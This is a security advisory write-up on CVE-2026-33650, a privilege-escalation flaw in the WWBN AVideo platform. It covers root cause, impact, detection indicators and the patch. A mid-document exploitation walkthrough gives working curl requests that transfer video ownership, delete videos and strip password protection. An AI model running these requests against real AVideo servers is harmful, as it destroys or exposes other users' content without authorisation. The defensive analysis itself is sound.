CVE-2026-33650: 
PHP vulnerability analysis and mitigation

CVE-2026-33650 is a privilege escalation vulnerability in WWBN AVideo, an open source video platform, classified as "Video Moderator Privilege Escalation via Ownership Transfer Enables Arbitrary Video Deletion." It affects all versions up to and including 26.0, where a user holding the "Videos Moderator" permission (PERMISSION_INACTIVATEVIDEOS, ID 11) can perform full video management operations — including ownership transfer and deletion of any video — far beyond the documented scope of only changing video publicity status. The vulnerability was published on March 22, 2026 by DanielnetoDotCom and added to the NVD on March 23, 2026. It carries a CVSS v3.1 base score of 7.6 (High) (GitHub Advisory, Github Advisory).

The root cause is an asymmetric authorization boundary classified as CWE-863 (Incorrect Authorization). In videoAddNew.json.php, Permissions::canModerateVideos() is incorrectly used as an authorization gate for full video editing operations — including upload access, edit access, ownership transfer, category changes, and user group visibility — that should require the higher-privilege Permissions::canAdminVideos(). Meanwhile, videoDelete.json.php only checks video ownership (not moderator status), so an attacker can first exploit the overly permissive canModerateVideos() check in videoAddNew.json.php to transfer any video's ownership to themselves, then invoke videoDelete.json.php to delete it as the new owner. Additional exploitable fields include only_for_paid (premium content flag), video_password, categories_id, and videoGroups. The attack requires only a low-privilege authenticated account with the Videos Moderator role and network access to the target (GitHub Advisory, Patch Commit).

A user with the Videos Moderator role can delete any video on the platform — including admin-owned content — by transferring ownership to themselves and then deleting it, resulting in irreversible availability loss for targeted content. Beyond deletion, the attacker can tamper with video metadata: removing password protection from restricted videos (exposing confidential content), making premium paid content freely accessible, and altering content categorization and group visibility. Video ownership records are corrupted in the process, undermining audit trail integrity. The blast radius covers every video on the platform, and any administrator who grants the Videos Moderator role under the assumption it is limited to publicity changes inadvertently grants these elevated capabilities (GitHub Advisory).

A proof-of-concept exploit consisting of concrete curl commands is publicly available in the GitHub security advisory, making exploitation straightforward for any authenticated Videos Moderator (GitHub Advisory). There is no evidence of in-the-wild exploitation at this time, and no threat actor attribution has been reported. The EPSS score is approximately 0.028–0.044% (14th percentile), indicating a currently low but non-negligible probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Github Advisory).

1. Obtain a Videos Moderator account: Acquire or compromise an AVideo account that has been granted the "Videos Moderator" permission (PERMISSION_INACTIVATEVIDEOS = 11). Authenticate and capture a valid session cookie (e.g., cookies.txt).

2. Identify a target video: Enumerate video IDs on the platform (e.g., by browsing the site or querying public endpoints) to find a target video owned by another user (e.g., an admin-owned video with ID TARGET_VIDEO_ID).

3. Transfer video ownership to attacker: Send a POST request to videoAddNew.json.php with the target video ID and the attacker's own user ID as the new owner. The canModerateVideos() check passes, allowing the ownership transfer:

curl -s -b cookies.txt -X POST \
  'http://<target>/objects/videoAddNew.json.php' \
  -d "id=TARGET_VIDEO_ID&users_id=ATTACKER_USER_ID&title=unchanged"

Expected response: {"status":true, ...} — ownership is now transferred.

4. Delete the video: Send a POST request to videoDelete.json.php with the target video ID. Since the attacker is now the recorded owner, the ownership check passes and the video is permanently deleted:

curl -s -b cookies.txt -X POST \
  'http://<target>/objects/videoDelete.json.php' \
  -d "id[]=TARGET_VIDEO_ID"

Expected response: {"error":false, ...}.

5. (Optional) Remove password protection: To expose a password-protected video to all users, send a POST to videoAddNew.json.php with an empty video_password field:

curl -s -b cookies.txt -X POST \
  'http://<target>/objects/videoAddNew.json.php' \
  -d "id=TARGET_VIDEO_ID&video_password=&title=unchanged"

This removes the password, making previously restricted content publicly accessible (GitHub Advisory).

• Network: Unexpected POST requests to /objects/videoAddNew.json.php from a Videos Moderator account with users_id parameters pointing to the moderator's own user ID (ownership transfer); POST requests to /objects/videoDelete.json.php from a Videos Moderator account for videos not originally owned by that user.
• Logs: Web server access logs showing a Videos Moderator user making rapid sequential calls to videoAddNew.json.php (ownership transfer) followed immediately by videoDelete.json.php (deletion) for the same video ID; log entries showing video_password set to empty string by a moderator-level account.
• Application/Database: Sudden changes in users_id field of video records to a moderator's user ID followed by deletion of those records; audit logs (if enabled) showing ownership transfers performed by accounts with PERMISSION_INACTIVATEVIDEOS (ID 11) rather than admin-level permissions.
• Behavioral: A Videos Moderator account performing actions beyond publicity status changes (Active/Inactive/Unlisted), such as modifying only_for_paid, categories_id, videoGroups, or video_password fields on videos they do not own (GitHub Advisory).

Apply the patch included in commit 838e16818c793779406ecbf34ebaeba9830e33f8, which replaces Permissions::canModerateVideos() with Permissions::canAdminVideos() in videoAddNew.json.php for the edit gate, ownership transfer, category change, and user group visibility operations, and removes the moderator bypass from the edit gate entirely (Patch Commit). Upgrade to a version of WWBN AVideo that includes this commit (post-26.0). As an interim workaround, administrators should audit all accounts holding the "Videos Moderator" role and revoke it from any users who do not require it, since the role grants far broader capabilities than documented. Additionally, review video management logs to identify any unauthorized ownership transfers or deletions performed by Videos Moderator accounts prior to patching (GitHub Advisory).

The vulnerability was reported by researcher DanielnetoDotCom and published via the WWBN/AVideo GitHub security advisory on March 22, 2026. Social media activity was observed on Bluesky shortly after disclosure. No significant vendor statements beyond the advisory itself, major media coverage, or notable researcher commentary beyond the original report have been identified (GitHub Advisory).